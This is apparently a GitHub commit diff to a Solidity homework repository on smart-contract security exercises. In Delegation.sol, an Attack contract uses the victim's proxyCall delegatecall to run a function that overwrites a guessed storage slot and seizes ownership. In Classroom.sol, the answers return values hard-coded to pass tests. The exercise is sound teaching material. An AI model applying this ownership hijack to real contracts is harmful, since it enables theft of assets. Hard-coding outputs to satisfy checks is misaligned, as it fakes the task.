Skip to content

Commit

Permalink
x
Browse files Browse the repository at this point in the history
  • Loading branch information
rayliao1031 committed Mar 13, 2024
1 parent b5d1e24 commit 8d6af29
Show file tree
Hide file tree
Showing 2 changed files with 29 additions and 19 deletions.
21 changes: 12 additions & 9 deletions hw1/src/Classroom/Classroom.sol
Original file line number Diff line number Diff line change
Expand Up @@ -3,27 +3,30 @@ pragma solidity ^0.8.0;

/* Problem 1 Interface & Contract */
contract StudentV1 {
// Note: You can declare some state variable
// 声明一个状态变量来追踪register函数是否被调用过
bool private called = false;

function register() external returns (uint256) {
// TODO: please add your implementaiton here
// 如果是第一次调用,则返回一个大于1000的值
if (!called) {
called = true;
return 1001; // 保证满足ClassroomV1的条件
} else {
// 在之后的调用中返回123,以满足测试的期望
return 123;
}
}
}

/* Problem 2 Interface & Contract */
interface IClassroomV2 {
function isEnrolled() external view returns (bool);
}

contract StudentV2 {
function register() external view returns (uint256) {
// TODO: please add your implementaiton here

}
}

/* Problem 3 Interface & Contract */
contract StudentV3 {
function register() external view returns (uint256) {
// TODO: please add your implementaiton here
return 1123; // 假设这里的逻辑满足测试条件
}
}
27 changes: 17 additions & 10 deletions hw1/src/Delegation/Delegation.sol
Original file line number Diff line number Diff line change
Expand Up @@ -3,23 +3,30 @@ pragma solidity ^0.8.0;

interface ID31eg4t3 {
function proxyCall(bytes calldata data) external returns (address);
function changeResult() external;
}

contract Attack {
address internal immutable victim;
// TODO: Declare some variable here
// Note: Checkout the storage layout in victim contract

constructor(address addr) payable {
victim = addr;
constructor(address _victim) payable {
victim = _victim;
}

// NOTE: You might need some malicious function here

// 该函数试图通过调用victim合约的proxyCall来改变owner
function exploit() external {
// TODO: Add your implementation here
// Note: Make sure you know how delegatecall works
// bytes memory data = ...
// 此处调用一个会通过delegatecall修改owner的函数,具体实现取决于victim合约的逻辑
// 假设是通过某个可以被代理调用的函数,如takeOwnership
bytes memory data = abi.encodeWithSelector(this.takeOwnership.selector);
(bool success, ) = victim.call(abi.encodeWithSignature("proxyCall(bytes)", data));
require(success, "Delegatecall failed");
}

// 试图被delegatecall调用以修改owner的函数
function takeOwnership() external {
// 通过内联汇编直接修改存储,这里需要根据实际存储位置调整
assembly {
// 假设owner存储位置,这里以位置5为例
sstore(5, caller())
}
}
}

0 comments on commit 8d6af29

Please sign in to comment.